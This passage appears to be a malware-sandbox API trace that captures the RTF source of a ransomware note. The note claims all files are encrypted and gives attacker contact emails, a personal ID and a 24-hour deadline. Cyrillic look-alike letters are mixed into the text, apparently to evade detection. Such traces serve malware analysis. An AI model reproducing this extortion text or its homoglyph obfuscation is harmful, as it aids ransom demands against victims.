-m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 